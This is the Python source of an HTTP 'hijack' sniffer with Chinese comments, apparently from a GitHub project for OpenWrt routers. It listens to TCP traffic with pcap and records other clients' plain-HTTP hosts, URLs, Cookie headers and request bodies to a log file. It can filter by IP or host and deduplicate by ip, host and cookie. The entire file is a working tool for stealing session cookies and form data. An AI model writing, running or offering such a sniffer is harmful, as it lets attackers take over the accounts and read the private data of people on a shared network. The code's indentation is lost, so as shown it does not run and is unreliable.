forked from sintrb/openwrt-http-hijack
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hijack.py
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hijack.py
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#!/usr/bin/python
# -*- coding: utf-8 -*-
# @Date : 2014-09-30 13:24:18
# @Author : Robin
# @Link : https://github.com/sintrb/openwrt-http-hijack
# @Version : 1.0
import hashlib
import pcap
import dpkt
import re
import time
import socket
def parseopts():
import optparse
parser = optparse.OptionParser(usage="%prog [optinos]")
# 记录文件路径，默认hijack.rec
parser.add_option("-r", "--record",
action = "store",
type = 'string',
dest = "record_file",
default = 'hijack.rec',
help="The file path of the record"
)
# 客户端IP地址过滤正则，默认全部客户端
parser.add_option("-i", "--ip",
action = "store",
type = 'string',
default = '.*',
dest = "ip_address",
help = "Client IP address"
)
# 主机正则过滤，默认全部主机
parser.add_option("--host",
action = "store",
type = 'string',
dest = "host",
default = '.*',
help = "Specify if the target is an URL"
)
# 网络接口（eht0...）默认全部有效网卡
parser.add_option("--interface",
action = "store",
type = 'string',
dest = "interface",
default = None,
help = "Specify if the target is an URL"
)
# HTTP服务器端口过滤，默认不过滤
parser.add_option("-p","--port",
action = "store",
type = 'int',
dest = "port",
default = 0,
help = "Specify if the target is an URL"
)
# 是否记录请求数据，默认不记录
parser.add_option("-D",
action = "store_true",
default = False,
dest = "data",
help = "Record request data"
)
# 是否记录Cookie，默认不记录
parser.add_option("-C",
action = "store_true",
default = False,
dest = "cookie",
help = "Record cookie"
)
# 是否忽略没有Cookie的请求
parser.add_option("-c",
action = "store_true",
default = False,
dest = "icookie",
help = "Ignore request when no cookie"
)
# 是否直接连唯一的客户端、主机以及Cookie请求
parser.add_option("-u",
action = "store_true",
default = False,
dest = "unique",
help = "Unique md5(ip + host + cookie)"
)
# 是否先从记录文件载入唯一标识码
parser.add_option("-l",
action = "store_true",
default = False,
dest = "load_record",
help = "Load from record file before hijack"
)
(options, args) = parser.parse_args()
return options
class Hijack(object):
'''
Hijack HTTP Request
'''
def __init__(self, opts):
print opts
self.opts = opts
self.pc = pcap.pcap()
self.uniq = set()
if self.opts.load_record:
try:
f = open(self.opts.record_file, 'r')
print 'loading md5s...'
for l in f.readlines():
ss = l.split('\t')
if len(ss)<4:
continue
ip = ss[1]
host = ss[2]
cookie = ss[4]
src = ip + host + cookie
md5s = hashlib.md5(src).hexdigest().upper()
if not md5s in self.uniq:
self.uniq.add(md5s)
if not l:
break
f.close()
print 'loaded %d md5s'%len(self.uniq)
except:
pass
self.log = open(self.opts.record_file, 'a+')
if self.opts.port:
self.pc.setfilter('tcp dst port %s'%self.opts.port)
else:
self.pc.setfilter('tcp')
def retext(self, p, s, d):
res = re.findall(p,s)
return res[0].strip() if res else d
def rehead(self, data):
p = self.retext('GET (\S+) HTTP/', data, None)
h = self.retext('Host:\s*(\S+)\s*', data, None)
c = self.retext('Cookie:(.*)\n', data, None)
return (h,p,c)
def record(self, ip, host, url, cookie, data):
if self.opts.unique:
src = ip + host + (cookie if cookie else '')
md5s = hashlib.md5(src).hexdigest().upper()
if md5s in self.uniq:
return
else:
self.uniq.add(md5s)
data = '' if not self.opts.data else data.strip().replace('\r', '').replace('\n', '&&')
cookie = '' if (not self.opts.cookie or not cookie) else cookie
r = '%s\t%s\t%s\t%s\t%s\t%s' % ( time.strftime('%Y-%m-%d %H:%M:%S'), ip, host, url, cookie, data )
print r
self.log.write(r)
self.log.write('\r\n')
self.log.flush()
# ip host path data cookie
def run(self):
print 'start hijacking...'
count = 0
for t, d in self.pc:
eth = dpkt.ethernet.Ethernet(d)
if eth.data.__class__.__name__ == 'IP':
ip = eth.data
if ip.data.__class__.__name__ == 'TCP':
tcp = ip.data
data = tcp.data
if len(data) and 'HTTP' in data and (self.opts.port==0 or tcp.dport==self.opts.port):
ps = self.rehead(data)
if ps[0] and ps[1]:
ip = socket.inet_ntoa(ip.src)
if re.match(self.opts.ip_address, ip):
url = ''
if tcp.dport==80:
url = 'http://%s%s'%(ps[0], ps[1])
else:
url = 'http://%s:%d%s'%(ps[0],tcp.dport, ps[1])
if ps[2] or not self.opts.icookie:
self.record(ip, ps[0], url, ps[2], data)
if __name__ == '__main__':
Hijack(parseopts()).run()